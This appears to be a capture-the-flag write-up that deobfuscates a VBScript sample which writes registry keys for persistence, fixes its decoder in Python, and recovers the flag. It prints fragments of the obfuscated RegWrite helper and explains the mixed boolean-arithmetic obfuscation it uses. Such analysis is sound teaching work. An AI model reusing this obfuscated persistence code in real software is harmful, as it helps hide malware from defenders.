we can see its a obfuscated .vbs script who try to change Registry Key, based on this snippet who have args who indicate is related to Registry and **.RegWrite** methods
```vb!
...
Function pPBAddHxuvSqSyj(regPath, regName, regValue, regType)
On Error Resume Next
Dim gmLGTlQYtwLoT
Set gmLGTlQYtwLoT = WScript.CreateObject(zYWTgOUvCUasUF(Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796),Array(77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20)))))
Dim chfqRkgAaNapL
chfqRkgAaNapL = regPath & regName
gmLGTlQYtwLoT.RegWrite chfqRkgAaNapL, regValue, regType
End Function
...
```
and here is the result of deobsfuscation
```vb!
Private Function decode(
arg1 As Variant, arg2 As Variant)
Dim var1 As String
var1 = ""
For x = LBound(arg1) To UBound(arg1)
var1 = var1 & Chr(arg2(x) Xor arg1(x)) * (2 ^ (2 - 0))
Next
decode = var1
End Function
Function caesar(text, shift)
Dim x, result, charCode
result =
For x = (1 XOR 0) To Len(text)
charCode = Asc(Mid(text, x, 1))
charCode = charCode + shift
result = result & Chr(charCode)
Next
caesar = result
End Function
Function caesar2(text, shift)
Dim x, result, charCode
result =
For x = 1 To Len(text)
charCode = Asc(Mid(text, x, 1))
charCode = charCode - shift
result = result & Chr(charCode)
Next
caesar2 = result
End Function
Function writeReg(regPath, regName, regValue, regType)
On Error Resume Next
Dim var2
Set var2 = WScript.CreateObject(decode(
Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796)
,Array(
77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20)))))
Dim regPathDist
regPathDist = regPath & regName
var2.RegWrite regPathDist, regValue, regType
End Function
...
```
so its has decode, caesar(add value), caesar2(substract value), and write reg. and below that is a encrypted value who will used for modifying registry
```vb!
Dim dec_text2, dec_text
dec_text2 =
decode( ... )
dec_text = caesar2(dec_text2, 3)
writeReg decode( ... ), decode( ... ), dec_text, decode( ... )
```
### refactor code to python
now we refactor the code to python, because this .vbs cannot be run it
```python!
def decode(arg1, arg2):
result = ""
for x in range(len(arg1)):
result = result + chr((arg2[x] ^ arg1[x])) * 4
return result
def caesar(text, shift):
return "".join(chr(ord(ch) + shift) for ch in text)
def caesar2(text, shift):
return "".join(chr(ord(ch) - shift) for ch in text)
def writeReg(regPath, regName, regValue, regType):
print(".regwrite : ", decode([141 - 37,1443 - 547,686 - 175 ^ 1091 - 396,233 + 211,720,261 - 125,172 + 232,6 + 10,180 - 53 + 1310 - 653,100,850 - 340 + 106 - 16,968,796], [77,179,345 - 168,57 - 28,221,82,23 - 9 ^ 31,42,87 ^ 192,45 + 68,224 - 37 ^ 96 - 24,160 - 2,153 ^ 30 + 20]))
print("=== Registry Write ===")
print("Path:", regPath)
print("Name:", regName)
print("Value:", regValue)
print("Type:", regType)
print("======================")
dec_text = ...
...
```
but the result is junk ...

so its mean our refactor python code is broken, and it must be `decode` function.
### Find the culprit
for debugging whats wrong in our refactor code we can use part code who get object for `.Regwrite`
```vb!
...
Set var2 = WScript.CreateObject(decode(
Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796)
,Array(
77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20)))))
...
```
why we use this part? because we know tha value inside in `WScript.CreateObject( ... )` must be a `WScript.Shell`. now we just do bruteforce-ing arithmethic operation on the value, we use two array that will be used to generate `WScript.Shell`
```
b = [104, 896, 840, 444, 720, 136, 404, 16, 784, 100, 600, 968, 796]
c = [77, 179, 177, 29, 221, 82, 17, 42, 151, 113, 243, 158, 171]
```
why bruteforce-ing? because i dont have any idea why my code is broken, so its a fastest way, and we will use index who must have same value like index 11 and 12 who must have 'l', and index 1 and 8 who must have 'S'. so lets using that two equation for get the correct operation
we must remember this concept before we try find suitable equation
- arg1 is array b, arg2 is array c
- b[12] is higher than c[12] even the difference is very big
- 4 is important number
- printable char is 32-127
- make the result in range printable char
- result of the equation must be same for same character like index 11 with 12, and index 1 and 8
- equation from index 11 and 12 must be 'l'
- equation from index 1 and 8 must be 'S'
### Find the right equation
now lets do the job
```c
>>> b[12] ^ c[12]
951
>>> b[11] ^ c[11]
854
>>> 951 - 854
97
>>> 951 - 87
864
>>> ord('l')
108
>>> 951 - 108
843
>>> 854 - 108
746
>>> (b[12] ^ c[12]) - 108
843
>>> (b[11] ^ c[11]) - 108
746
>>> print((b[12] ^ c[12]) - 108, (b[11] ^ c[11]) - 108)
843 746
>>> print((b[12] | c[12]) - 108, (b[11] | c[11]) - 108)
851 882
>>> print((b[12] | c[12]*4) - 108, (b[11] | c[11]*4) - 108)
848 908
>>> print((b[12] ^ c[12]*4) - 108, (b[11] ^ c[11]*4) - 108)
324 324
>>> (b[11] ^ c[11]*4) - 108
324
>>> (b[11] ^ c[11]*4) - 324
108
>>> (b[0] ^ c[0]*4) - 324
24
>>> 324 / 12
27.0
>>> (b[0] ^ c[0]*4) - 27
321
>>> print((b[12] ^ c[12]*4) - 108, (b[11] ^ c[11]*4) - 108)
324 324
>>> (b[0] ^ c[0]*4) - 87
261
>>> (b[0] ^ c[0]*4) % 256
92
>>> (b[0] ^ c[0]*4) % 256 - 5
87
>>> (b[11] ^ c[11]*4) % 256 - 5
171
>>> chr(171)
'«'
```
There are many arithmetic equations that fit equation 1 but not equation 2. So finally we found the following equation.
```c
>>> print((b[1] ^ c[1]*4) - 108, (b[8] ^ c[8]*4) - 108)
224 224
>>> (b[1] ^ c[1]*4) == (b[8] ^ c[8]*4)
True
>>> (b[12] ^ c[12]*4) == (b[11] ^ c[11]*4)
True
```
now we just need create the equation has the correct value for target character
```c
>>> b[1] ^ c[1]*4
332
>>> b[8] ^ c[8]*4
332
>>> ord('S')
83
>>> 332 / 83
4.0
>>> b[11] ^ c[11]*4
432
>>> ord('l')
108
>>> 432 / 108
4.0
>>> 432 / 4
108.0
>>> (b[11] ^ c[11]*4) / 4
108.0
>>> int((b[11] ^ c[11]*4) / 4)
108
>>> chr(int((b[11] ^ c[11]*4) / 4))
'l'
```
now we have the operation which produce correct character, last test we try on index 0 who must have `W` value
```c
>>> chr(int((b[0] ^ c[0]*4) / 4))
'W'
```
now i realize its a like binomial operation in aljabar its called **Mixed Boolean Arithmetic Expression obfuscation** like this
```
X ^ Y == (X | Y) - (X & Y)
X + Y == (X & Y) + (X | Y)
X - Y == (X ^ -Y) + 2*(X & -Y)
X & Y == (X + Y) - (X | Y)
X | Y == X + Y + 1 + (~X | ~Y)
```
now how `chr((arg2[x] ^ arg1[x])) * (2 ** (2 - 0))` became `chr(int((arg1[0] ^ arg2[0]*4) / 4))` ?
maybe we can calculate it later, or find the real equation. lets next step
## Flag
fix decode function
```python
def decode(arg1, arg2):
result = ""
for x in range(len(arg1)):
result = result + chr(int((arg1[x] ^ arg2[x]*4) / 4))
return result
```


flag = ITSEC{R3g1stry_P3rs1st3nc3_FTW!!}
## Reference
https://plzin.github.io/posts/mba